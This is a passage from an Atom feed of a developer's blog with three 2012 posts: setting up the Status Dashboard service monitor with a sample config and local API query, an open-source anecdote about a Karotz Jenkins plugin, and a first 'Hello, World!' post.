&lt;a href=&quot;http://www.pingdom.com/a1/&quot;&gt;Pingdom&lt;/a&gt; as I needed something free, customizable,
and lightweight. I love the &lt;a href=&quot;http://status.github.com&quot;&gt;GitHub’s Status Panel&lt;/a&gt;,
unfortunately they didn’t open source it.&lt;/p&gt;

&lt;p&gt;This kind of application is somewhat simple. You need a crawler, and few rules
to know whether an application is alive or not. Additionally, you may want to
store results in order to make graphs or calculate uptime average. Before
writing such a tool myself, I tried to find existing projects on GitHub.&lt;/p&gt;

&lt;p&gt;Good news! I found a nice project: &lt;a href=&quot;https://github.com/obazoud/statusdashboard&quot;&gt;Status
Dashboard&lt;/a&gt; created by Olivier
Bazoud. This project is simple to configure, you can use provided plugins
(Twitter, IRC bot, History, …) or add your owns, and you can monitor various
services (not only HTTP). If you don’t want to use the beautiful interface, then
you’ll find a REST API as well.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2012/01/statusdashboard.webp&quot; alt=&quot;A screenshot of the Services Status Dashboard application&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;installation&quot;&gt;Installation&lt;/h3&gt;

&lt;p&gt;Run &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;npm install&lt;/code&gt; to setup the project and its dependencies, then add your own
configuration in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;settings.js&lt;/code&gt;. Mine is:&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;// ...&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;settings&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;william&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;services&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;williamdurand.fr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;label&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;William Durand (blog)&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;check&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;http&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;williamdurand.fr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;80&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;headers&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;na&quot;&gt;Host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;williamdurand.fr&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;],&lt;/span&gt;
  &lt;span class=&quot;na&quot;&gt;plugins&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;na&quot;&gt;history&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;enable&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;127.0.0.1&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;port&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6379&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;namespace&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;statusdashboard&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;options&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{},&lt;/span&gt;
      &lt;span class=&quot;na&quot;&gt;client&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Then, start the server:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;node server.js
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Check the server is running by browsing &lt;em&gt;http://127.0.0.1:8080/&lt;/em&gt; or by querying
the API:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&amp;gt; curl http://127.0.0.1:8080/api/services
{&quot;lastupdate&quot;:&quot;Mon, 16 Jan 2012 13:29:11 GMT&quot;,&quot;services&quot;:[{&quot;name&quot;:&quot;williamdurand.fr&quot;,&quot;label&quot;:&quot;William Durand (blog)&quot;,&quot;status&quot;:&quot;up&quot;,&quot;statusCode&quot;:200,&quot;message&quot;:&quot;&quot;}],&quot;summarize&quot;:{&quot;lastupdate&quot;:&quot;Mon, 16 Jan 2012 13:29:11 GMT&quot;,&quot;up&quot;:1,&quot;critical&quot;:0,&quot;down&quot;:0,&quot;unknown&quot;:0}}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The project is available at:
&lt;a href=&quot;https://github.com/obazoud/statusdashboard&quot;&gt;https://github.com/obazoud/statusdashboard&lt;/a&gt;.&lt;/p&gt;
</content>
    </entry>
    
    <entry>
        <title>Did I tell you open source was awesome?</title>
        <link href="https://williamdurand.fr/2012/01/16/did-i-tell-you-open-source-was-awesome/"/>
        <updated>2012-01-16T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/01/16/did-i-tell-you-open-source-was-awesome</id>
        <content type="html">&lt;p&gt;A few months ago, my father offered me a Karotz (the new Nabaztag) for my
birthday. At the same time, I started to learn how to write a
&lt;a href=&quot;https://jenkins-ci.org/&quot;&gt;Jenkins&lt;/a&gt; plugin, and I knew this kind of rabbit could
be programmed. That’s why I decided to write a
&lt;a href=&quot;https://github.com/willdurand/Karotz-Plugin&quot;&gt;Karotz-Plugin&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;As an Open Source Software enthusiast, I published my code on GitHub right at
the beginning. The plugin was in a work in progress state but quite usable.
Unfortunately, I was unable to improve it for weeks after the initial
publication.&lt;/p&gt;

&lt;p&gt;When I got some free time to work on it, I saw my repository had been forked.
Surprise! Someone improved my work and published it as an &lt;a href=&quot;https://wiki.jenkins-ci.org/display/JENKINS/Karotz+Plugin&quot;&gt;official Jenkins
Plugin&lt;/a&gt;. Wonderful!&lt;/p&gt;

&lt;p&gt;I pulled the repository, and learned a lot from the developer who worked on the
plugin. Isn’t that awesome? First, my code has been reused. Second, I learned
new things. Oh, and I got an awesome plugin for Jenkins and my Karotz! 😎&lt;/p&gt;

&lt;p&gt;To summarize, it sounds like a really good idea to &lt;a href=&quot;https://tom.preston-werner.com/2011/11/22/open-source-everything.html&quot;&gt;open source
everything&lt;/a&gt;,
even if it’s a draft/work in progress or even an idea. Someone could find this
idea quite amazing and could contribute to it. Thanks to &lt;a href=&quot;https://www.github.com&quot;&gt;GitHub&lt;/a&gt;, open
sourcing something is really really easy these days :)&lt;/p&gt;

</content>
    </entry>
    
    <entry>
        <title>Hello, World!</title>
        <link href="https://williamdurand.fr/2012/01/15/hello-world/"/>
        <updated>2012-01-15T00:00:00+00:00</updated>
        <id>https://williamdurand.fr/2012/01/15/hello-world</id>
        <content type="html">&lt;p&gt;Hi folks!&lt;/p&gt;

&lt;p&gt;A few months ago, I decided to abandon my first blog at &lt;em&gt;www.willdurand.fr&lt;/em&gt;.
Writing in French was great but writing in English sounds like a better
challenge.&lt;/p&gt;

&lt;p&gt;That’s why I’m starting this new blog, in English (as well-written as possible),
powered by &lt;a href=&quot;https://github.com/mojombo/jekyll&quot;&gt;Jekyll&lt;/a&gt;, &lt;a href=&quot;http://html5boilerplate.com/&quot;&gt;HTML5
Boilerplate&lt;/a&gt;, and hosted on
&lt;a href=&quot;http://www.github.com&quot;&gt;GitHub&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;You’ll get the code by browsing the following repository:
&lt;a href=&quot;https://github.com/willdurand/willdurand.github.com&quot;&gt;willdurand.github.com&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;William&lt;/p&gt;
</content>
    </entry>
    
</feed>
